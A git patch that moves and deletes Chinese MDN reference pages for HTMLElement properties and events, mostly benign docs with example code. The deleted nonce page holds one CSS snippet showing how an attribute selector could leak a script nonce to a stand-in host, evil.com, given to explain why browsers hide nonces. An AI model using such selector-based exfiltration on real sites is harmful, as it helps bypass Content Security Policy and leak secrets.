From 310fd066e91f454b990372ffa30e803cc8120975 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 12:56:40 +0100 Subject: unslug zh-cn: move --- .../zh-cn/web/api/htmlelement/accesskey/index.html | 23 +++ .../api/htmlelement/animationend_event/index.html | 92 ++++++++++++ .../htmlelement/animationstart_event/index.html | 89 ++++++++++++ files/zh-cn/web/api/htmlelement/blur/index.html | 24 ---- .../web/api/htmlelement/change_event/index.html | 124 ++++++++++++++++ files/zh-cn/web/api/htmlelement/dataset/index.html | 123 ---------------- files/zh-cn/web/api/htmlelement/focus/index.html | 158 --------------------- .../zh-cn/web/api/htmlelement/innertext/index.html | 92 ++++++++++++ .../web/api/htmlelement/input_event/index.html | 157 ++++++++++++++++++++ files/zh-cn/web/api/htmlelement/nonce/index.html | 60 -------- files/zh-cn/web/api/htmlelement/style/index.html | 80 ----------- .../zh-cn/web/api/htmlelement/tabindex/index.html | 49 ------- .../api/htmlelement/transitionend_event/index.html | 132 +++++++++++++++++ 13 files changed, 709 insertions(+), 494 deletions(-) create mode 100644 files/zh-cn/web/api/htmlelement/accesskey/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationend_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationstart_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlelement/change_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/dataset/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlelement/innertext/index.html create mode 100644 files/zh-cn/web/api/htmlelement/input_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/nonce/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/style/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/tabindex/index.html create mode 100644 files/zh-cn/web/api/htmlelement/transitionend_event/index.html (limited to 'files/zh-cn/web/api/htmlelement') diff --git a/files/zh-cn/web/api/htmlelement/accesskey/index.html b/files/zh-cn/web/api/htmlelement/accesskey/index.html new file mode 100644 index 0000000000..4f76e7f784 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/accesskey/index.html @@ -0,0 +1,23 @@ +--- +title: Element.accessKey +slug: Web/API/Element/accessKey +tags: + - API接口 + - 属性 + - 需要丰富内容 +translation_of: Web/API/HTMLElement/accessKey +translation_of_original: Web/API/Element/accessKey +--- +
{{APIRef("DOM")}}
+ +
 
+ +

元素的 Element.accessKey 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。

+ +
+

注:  Element.accessKey 属性很少使用，因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题，浏览器约定accessKey键与特定按键一起按（比如 Alt + accessKey）来生效快捷键行为。

+
+ +

 

+ +

 

diff --git a/files/zh-cn/web/api/htmlelement/animationend_event/index.html b/files/zh-cn/web/api/htmlelement/animationend_event/index.html new file mode 100644 index 0000000000..cb701ac392 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationend_event/index.html @@ -0,0 +1,92 @@ +--- +title: animationend +slug: Web/Events/animationend +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationend +translation_of: Web/API/HTMLElement/animationend_event +--- +

animationend 事件会在一个 CSS 动画完成时触发（不包括完成前就已终止的情况，例如元素变得不可见或者动画从元素中移除）。

+ +

常规信息

+ +
+
规范
+
{{SpecName("CSS3 Animations")}}
+
接口
+
{{domxref("AnimationEvent")}}
+
是否冒泡
+
是
+
事件可取消
+
否
+
目标
+
{{domxref("Document")}}, {{domxref("Element")}}, {{domxref("Window")}}
+
默认行为
+
无
+
+ +

属性表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件目标（DOM 顶层目标）。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡？
cancelable {{ReadOnlyInline}}boolean可否取消该事件？
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长，单位为秒，与直到该事件被触发的时间相一致，不包括任何动画暂停时的时长。应等于 {{cssxref("animation-iteration-count")}} 乘以 {{cssxref("animation-duration")}} 的积，动画总活动的时长。
+ +

相关事件

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/animationstart_event/index.html b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html new file mode 100644 index 0000000000..53929bfb0d --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html @@ -0,0 +1,89 @@ +--- +title: animationstart +slug: Web/Events/animationstart +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationstart +translation_of: Web/API/HTMLElement/animationstart_event +--- +

animationstart 事件会在 CSS 动画开始时触发。 如果有 animation-delay 延时，事件会在延迟时效过后立即触发。为负数的延时时长会致使事件被触发时事件的 elapsedTime 属性值等于该时长的绝对值（并且，相应地，动画将直接播放该时长绝对值之后的动画）。

+ +

基本信息

+ +
+
规格
+
CSS Animations
+
接口
+
AnimationEvent
+
是否冒泡
+
是
+
事件可取消
+
否
+
目标
+
Document, Element
+
默认行为
+
无
+
+ +

属性表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件来源（DOM 顶层目标）。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡？
cancelable {{ReadOnlyInline}}boolean可否取消该事件？
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长，单位为秒，与直到该事件被触发的时间相一致，不包括任何动画暂停时的时长。此值应为 0 除非 animation-delay 是一个负值，这种情况下此值为 (-1 * {{cssxref("animation-delay")}})，并且动画将直接从此值后的序列开始播放。
+ +

相关事件

+ + + +

另请参阅

+ + diff --git a/files/zh-cn/web/api/htmlelement/blur/index.html b/files/zh-cn/web/api/htmlelement/blur/index.html deleted file mode 100644 index 96452abcc0..0000000000 --- a/files/zh-cn/web/api/htmlelement/blur/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: HTMLElement.blur() -slug: Web/API/HTMLElement/blur -tags: - - API - - HTML DOM - - HTMLElement - - Method - - Reference -translation_of: Web/API/HTMLOrForeignElement/blur ---- -

{{ APIRef() }}

-

概述

-

blur方法用来移除当前元素所获得的键盘焦点.

-

语法

-
element.blur()
-
-

规范

-

blur

-

相关链接

- -

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/change_event/index.html b/files/zh-cn/web/api/htmlelement/change_event/index.html new file mode 100644 index 0000000000..6a997fc430 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/change_event/index.html @@ -0,0 +1,124 @@ +--- +title: change +slug: Web/Events/change +tags: + - Change + - HTML + - HTML DOM + - HTMLElement + - change vs. input + - 事件 + - 参考 +translation_of: Web/API/HTMLElement/change_event +--- +

{{APIRef}}

+ +

当用户更改{{HTMLElement("input")}}、{{HTMLElement("select")}}和{{HTMLElement("textarea")}} 元素的值并提交这个更改时，change 事件在这些元素上触发。和 {{domxref("HTMLElement/input_event", "input")}} 事件不一样，change 事件并不是每次元素的 value 改变时都会触发。

+ + + + + + + + + + + + + + + + + + + + +
冒泡是
可取消否
接口{{domxref("Event")}}
事件处理程序属性{{domxref("GlobalEventHandlers/onchange", "onchange")}}
+ +

基于表单元素的类型和用户对标签的操作的不同，change 事件触发的时机也不同：

+ + + +

示例

+ +

<select> 元素

+ +

HTML

+ +
<label>Choose an ice cream flavor:
+  <select class="ice-cream" name="ice-cream">
+    <option value="">Select One …</option>
+    <option value="chocolate">Chocolate</option>
+    <option value="sardine">Sardine</option>
+    <option value="vanilla">Vanilla</option>
+  </select>
+</label>
+
+<div class="result"></div>
+ +
body {
+  display: grid;
+  grid-template-areas: "select result";
+}
+
+select {
+  grid-area: select;
+}
+
+.result {
+  grid-area: result;
+}
+
+ +

JavaScript

+ +
const selectElement = document.querySelector('.ice-cream');
+
+selectElement.addEventListener('change', (event) => {
+  const result = document.querySelector('.result');
+  result.textContent = `You like ${event.target.value}`;
+});
+
+ +

结果

+ + + +

文本输入元素

+ +

对于一些元素，包括 <input type="text">，change 事件在控件失去焦点前都不会触发。试一下在下面的输入框输入一些文字，然后点击输入框外的地方来触发事件。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="log"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('change', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}
+ +

结果

+ + + +

浏览器兼容性

+ +

{{Compat("api.GlobalEventHandlers.onchange")}}

+ +

对于一些特定类型的交互是否要触发 change 事件，不同浏览器的意见并不总是一致的。例如在 {{HTMLElement("select")}} 元素中使用键盘导航在 Gecko 中不会触发 change 事件，直到用户按下 Enter 键或将焦点从 <select> 上移走（参见 {{bug("126379")}}）。但从 Firefox 63（Quantum）开始，这个行为在已经在主流浏览器中达成一致。

+ +

参见

+ +

{{domxref("NetworkInformation.connection")}} fires the change event when the connection information changes.

diff --git a/files/zh-cn/web/api/htmlelement/dataset/index.html b/files/zh-cn/web/api/htmlelement/dataset/index.html deleted file mode 100644 index 63ab5f48e8..0000000000 --- a/files/zh-cn/web/api/htmlelement/dataset/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: HTMLElement.dataset -slug: Web/API/HTMLElement/dataset -tags: - - HTMLElement.dataset -translation_of: Web/API/HTMLOrForeignElement/dataset ---- -

{{ APIRef }}

- -

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

- -

它是一个DOMString的映射，每个自定义数据属性的一个条目。

- -

请注意，dataset 属性本身可以被读取，但不能直接写入。相反，所有的写入必须是它的“属性”，这反过来表示数据属性。

- -

还要注意，一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称，但它们总是相似的：

- - - -

 

- -

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则，该规则是说它只可以包含字母，数字和下面的字符： dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

- -

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则：

- - - -

与此相反的转换，即将键值转换为一个属性的名称，会遵循下面的规则：

- - - -

上面规则的约束是为了保证这两种转换是正好相反的转换。

- -

例如，属性名称 data-abc-def 与键值 abcDef 相对应。

- -

语法

- -
string = element.dataset.camelCasedName;
-element.dataset.camelCasedName = string;
- -

实例

- -
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
-</div>
-
-var el = document.querySelector('#user');
-
-// el.id == 'user'
-// el.dataset.id === '1234567890'
-// el.dataset.user === 'johndoe'
-// el.dataset.dateOfBirth === ''
-
-el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
-
-// 'someDataAttr' in el.dataset === false
-
-el.dataset.someDataAttr = 'mydata';
-// 'someDataAttr' in el.dataset === true
-
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
-
- -

 

diff --git a/files/zh-cn/web/api/htmlelement/focus/index.html b/files/zh-cn/web/api/htmlelement/focus/index.html deleted file mode 100644 index eb47aff613..0000000000 --- a/files/zh-cn/web/api/htmlelement/focus/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: HTMLElement.focus() -slug: Web/API/HTMLElement/focus -tags: - - API - - 参考 - - 方法 - - 焦点 -translation_of: Web/API/HTMLOrForeignElement/focus ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.focus() 方法用于设置焦点，如果被指定的元素可以获取到焦点，焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素，也会接收到相应的键盘事件等事件。

- -

语法

- -
element.focus(options); // Object parameter
- -

参数

- -
-
options {{optional_inline}}
-
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
-
-
-
preventScroll {{optional_inline}}
-
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
-
-
-
- -

示例

- -

将焦点设置到文本框上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myTextField").focus();
-}
- -

HTML

- -
<input type="text" id="myTextField" value="Text field.">
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上！</button>
-
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_text_field') }}

- -

将焦点设置到按钮上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myButton").focus();
-}
- -

HTML

- -
<button type="button" id="myButton">Click Me!</button>
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上！</button>
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_button') }}

- -

Focus with focusOption

- -

JavaScript

- -
focusScrollMethod = function getFocus() {
-  document.getElementById("myButton").focus({preventScroll:false});
-}
-focusNoScrollMethod = function getFocusWithoutScrolling() {
-  document.getElementById("myButton").focus({preventScroll:true});
-}
-
-
- -

HTML

- -
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
-<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
-
-<div id="container" style="height: 1000px; width: 1000px;">
-<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
-</div>
-
-
- -

结果

- -

{{ EmbedLiveSample('Focus_prevent_scroll') }}

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
- -

备注

- - - -

浏览器兼容性

- - - -

{{Compat("api.HTMLElement.focus")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/htmlelement/innertext/index.html b/files/zh-cn/web/api/htmlelement/innertext/index.html new file mode 100644 index 0000000000..3062dda65f --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/innertext/index.html @@ -0,0 +1,92 @@ +--- +title: HTMLElement.innerText +slug: Web/API/Node/innerText +tags: + - API + - DOM + - HTMLElement + - Property + - Reference + - 参考 + - 属性 +translation_of: Web/API/HTMLElement/innerText +--- +
{{APIRef("DOM")}}
+ +

innerText 属性表示一个节点及其后代的“渲染”文本内容。 As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.

+ +
+

Note: innerText 很容易与{{domxref("Node.textContent")}}混淆, 但这两个属性间实际上有很重要的区别. 大体来说, innerText 可操作已被渲染的内容， 而 textContent 则不会.

+
+ +

语法

+ +
var renderedText = HTMLElement.innerText;
+HTMLElement.innerText = string;
+ +

输出值

+ +

一段 {{domxref("DOMString")}} 表示一个元素中已被渲染的内容. 如果元素自身没有 被渲染 (e.g 被从文档中删除或没有在视图中显示), 这时返回值与 {{domxref("Node.textContent")}} 属性相同.

+ +

例子

+ +

这个示例对比了 innerText 和 {{domxref("Node.textContent")}}. 这时 innerText 代表的含义就像 {{htmlElement("br")}} 标签, 并且忽略了隐藏的元素.

+ +

HTML

+ +
<h3>Source element:</h3>
+<p id="source">
+  <style>#source { color: red; }</style>
+Take a look at<br>how this text<br>is interpreted
+       below.
+  <span style="display:none">HIDDEN TEXT</span>
+</p>
+<h3>Result of textContent:</h3>
+<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
+<h3>Result of innerText:</h3>
+<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
+ +

JavaScript

+ +
const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;
+ +

结果

+ +

{{EmbedLiveSample("Example", 700, 450)}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
+ +

浏览器兼容

+ + + +

{{Compat("api.HTMLElement.innerText")}}

+ +

此特性最初由 Internet Explorer 引入。 被所有主要的浏览器供应商（vendor）采用后，它于 2016 年正式进入 HTML 标准。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/input_event/index.html b/files/zh-cn/web/api/htmlelement/input_event/index.html new file mode 100644 index 0000000000..7ee1b98ad5 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/input_event/index.html @@ -0,0 +1,157 @@ +--- +title: input +slug: Web/Events/input +tags: + - HTML DOM + - HTMLElement + - Input + - 事件 + - 参考 + - 表单 + - 输入 +translation_of: Web/API/HTMLElement/input_event +--- +

{{APIRef}}

+ +

当一个 {{HTMLElement("input")}}, {{HTMLElement("select")}}, 或 {{HTMLElement("textarea")}} 元素的 value 被修改时，会触发 input 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{DOMxRef("InputEvent")}}
Event handler property{{domxref("GlobalEventHandlers.oninput")}}
+ +

input 事件也适用于启用了 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 的元素，以及开启了 {{domxref("Document.designMode", "designMode")}} 的任意元素。在contenteditable 和 designMode 的情况下，事件的 target 为当前正在编辑的宿主。如果这些属性应用于多个元素上，当前正在编辑的宿主为最近的父节点不可编辑的祖先元素。

+ +

对于 type=checkbox 或 type=radio 的 input 元素，每当用户切换控件（通过触摸、鼠标或键盘）时（HTML5规范），input 事件都应该触发。然而，历史事实并非如此。请检查兼容性，或使用 {{event("change")}} 事件代替这些类型的元素。

+ +
+

注意： 每当元素的 value 改变，input 事件都会被触发。这与 {{domxref("HTMLInputElement.change_event", "change")}} 事件不同。change 事件仅当 value 被提交时触发，如按回车键，从一个 options 列表中选择一个值等。

+
+ +

示例

+ +

每当用户修改 {{HtmlElement("input")}} 元素的 value 时，这个示例会记录 value。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="values"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('input', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.srcElement.value;
+}
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('DOM3 Events', "#event-type-input", "input event")}}{{Spec2('DOM3 Events')}}
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLElement.input_event")}}

+ +
+ +

[1] 在 Gecko 12.0 {{geckoRelease("12.0")}} 之前，用户在输入法中输入时，或者 dead keys were used on Mac OS X 时，Gecko 不触发 input 事件。

+ +

[2] IE 9 在用户删除输入的文字时不触发 input 事件(例如，按 Backspace 或者删除键，或者“剪切”文字).

+ +

[3] Opera 在用户把文字拖进输入框时，不触发 input 事件。

+ +

[4] 事件 target 是光标所在的最内侧的元素。

+ +

参见

+ + + +

此外，还有一个类似的 change 事件。change 触发的频率低于 input - 它只会在用户提交更改时触发。

+ +

+ +

diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html deleted file mode 100644 index b2c6c829b1..0000000000 --- a/files/zh-cn/web/api/htmlelement/nonce/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce ---- -

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

- -

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。

- -

在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。

- -

语法

- -
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
- -

访问nonce属性值

- -

以前，并不是所有的浏览器都支持 nonce IDL属性，因此在实际应用场景中，尝试使用getAttribute 作为备选：

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

然而，最新的浏览器版本都隐藏了 nonce 值（返回一个空值）。IDL属(script['nonce'])成为唯一的访问方式。

- -

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

说明

- - - - - - - - - - - - - - -
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
- -

支持的浏览器

- -
- - -

{{Compat("api.HTMLElement.nonce")}}

-
diff --git a/files/zh-cn/web/api/htmlelement/style/index.html b/files/zh-cn/web/api/htmlelement/style/index.html deleted file mode 100644 index 2b825c80cc..0000000000 --- a/files/zh-cn/web/api/htmlelement/style/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: HTMLElement.style -slug: Web/API/HTMLElement/style -translation_of: Web/API/ElementCSSInlineStyle/style ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象，表示元素的 内联style 属性（attribute），但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表，可以查看 CSS Properties Reference。

- -

由于 style 属性的优先级和通过style设置内联样式是一样的，并且在css层级样式中拥有最高优先级，因此在为特定的元素设置样式时很有用。

- -

设置 style 属性

- -

注意不能通过直接给style属性设置字符串（如：elt.style = "color: blue;"）来设置style，因为style应被当成是只读的（尽管Firefox(Gecko), Chrome 和 Opera允许修改它），这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性能够用来设置样式。此外，通过单独的样式属性（如elt.style.color = '...'）比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便，除非你希望完全通过一个单独语句来设置元素的全部样式，因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

- -

例子

- -
// 在单个语句中设置多个样式
-elt.style.cssText = "color: blue; border: 1px solid black";
-// 或者
-elt.setAttribute("style", "color:red; border: 1px solid blue;");
-
-// 设置特定样式，同时保持其他内联样式值不变
-elt.style.color = "blue";
-
- -

获取元素样式信息

- -

通常，要了解元素样式的信息，仅仅使用 style 属性是不够的，这是因为它只包含了在元素内嵌 style 属性（attribute）上声明的的 CSS 属性，而不包括来自其他地方声明的样式，如 {{HTMLElement("head")}} 部分的内嵌样式表，或外部样式表。要获取一个元素的所有 CSS 属性，你应该使用 {{domxref("window.getComputedStyle()")}}。

- -
<!DOCTYPE HTML>
-<html>
-<body style="font-weight:bold;">
-
-    <div style="color:red" id="myElement">..</div>
-
- </body>
-</html>
- -

下面的代码输出 style 所有属性的名字，以及为元素 elt 显式设置的属性值和继承的计算值（computed value）：

- -
var element = document.getElementById("myElement");
-var out = "";
-var elementStyle = element.style;
-var computedStyle = window.getComputedStyle(element, null);
-
-for (prop in elementStyle) {
-  if (elementStyle.hasOwnProperty(prop)) {
-    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
-  }
-}
-console.log(out)
- -

输出结果如下:

- -
...
-fontWeight = '' > 'bold'
-color = 'red' > 'rgb(255, 0, 0)'
-...
-
- -

请注意，计算样式中font-weight的值为“bold”，元素的style属性中缺少该值

- -

规范

- -

DOM Level 2 Style: ElementCSSInlineStyle.style

- -

CSSOM: ElementCSSInlineStyle

- -

兼容性

- - - -

{{Compat("api.HTMLElement.style")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/api/htmlelement/tabindex/index.html b/files/zh-cn/web/api/htmlelement/tabindex/index.html deleted file mode 100644 index 516c659c2a..0000000000 --- a/files/zh-cn/web/api/htmlelement/tabindex/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: HTMLElement.tabIndex -slug: Web/API/HTMLElement/tabIndex -translation_of: Web/API/HTMLOrForeignElement/tabIndex ---- -
-
{{ APIRef("HTML DOM") }}
-
- -

概述

- -

获取或设置当前元素的tab键激活顺序.

- -

语法

- -
element.tabIndex = index index = element.tabIndex
-
- -

参数

- - - -

Tab键的遍历顺序是这样的：

- -
    -
  1. 对于tabIndex值为正数的元素，如果多个元素的tabIndex值相同，则以他们出现在字符流中的次序来遍历；否则按tabIndex值由小到大的顺序来遍历。
    2. -
  2. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素，按照他们出现在字符流中的次序来遍历。
    3. -
  3. 处于不可用状态的元素不会被遍历到。
    4. -
- -

支持tabIndex属性的元素有：a,area,button,input,object,select和textarea。

- -

tabIndex的值不需要是连续的，也不需要以某个特定值开始。

- -

例子

- -
var b1 = document.getElementById("button1");
-b1.tabIndex = 1;
-
- -

规范

- -

W3C DOM Level 2 HTML tabIndex

- -

了解更多,请查看: The solution: changes to standard behavior of tabindex

- -

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/transitionend_event/index.html b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html new file mode 100644 index 0000000000..f79db8503a --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html @@ -0,0 +1,132 @@ +--- +title: transitionend +slug: Web/Events/transitionend +translation_of: Web/API/HTMLElement/transitionend_event +--- +
{{APIRef}}
+ +

transitionend 事件会在 CSS transition 结束后触发. 当transition完成前移除transition时，比如移除css的{{cssxref("transition-property")}} 属性，事件将不会被触发.如在transition完成前设置  {{cssxref("display")}} 为"none"，事件同样不会被触发。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡是
是否可取消是
接口{{domxref("TransitionEvent")}}
事件处理器属性{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}
+ +

transitionend 事件是双向触发的 - 当完成到转换状态的过渡，以及完全恢复到默认或非转换状态时都会触发。 如果没有过渡延迟或持续时间，即两者的值都为0s或者都未声明， 则不发生过渡，并且任何过渡事件都不会触发。如果触发了 transitioncancel 事件，则transitionend 事件不会触发。

+ +

例

+ +
/*
+ * 在指定的元素上监听transitionend事件, 例如#slidingMenu
+ * 然后指定一个函数, 例如 showMessage()
+ */
+function showMessage() {
+    console.log('Transition 已完成');
+}
+
+var element = document.getElementById("slidingMenu");
+element.addEventListener("transitionend", showMessage, false);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Transitions", "#transition-events", "transitionend")}}{{ Spec2('CSS3 Transitions') }}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0[1]
+ 36		{{CompatGeckoDesktop("2.0")}}1010.5[2]
+ 12
+ 12.10
+ 23		3.2[1]
+ 7.0.6
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}10[2]
+ 12
+ 12.10		3.2[1]
+
+ +

[1] 在 Chrome 1.0, Android 2.1 与 WebKit 3.2 上实现 webkitTransitionEnd. Chrome 36 与 WebKit 7.0.6 上请使用标准事件 transitionend.

+ +

[2] 在 Opera 10.5 上实现oTransitionEnd，从版本12开始实现 otransitionend， 从版本12.10开始实现 transitionend.

+ +

参考

+ + -- cgit v1.2.3-54-g00ecf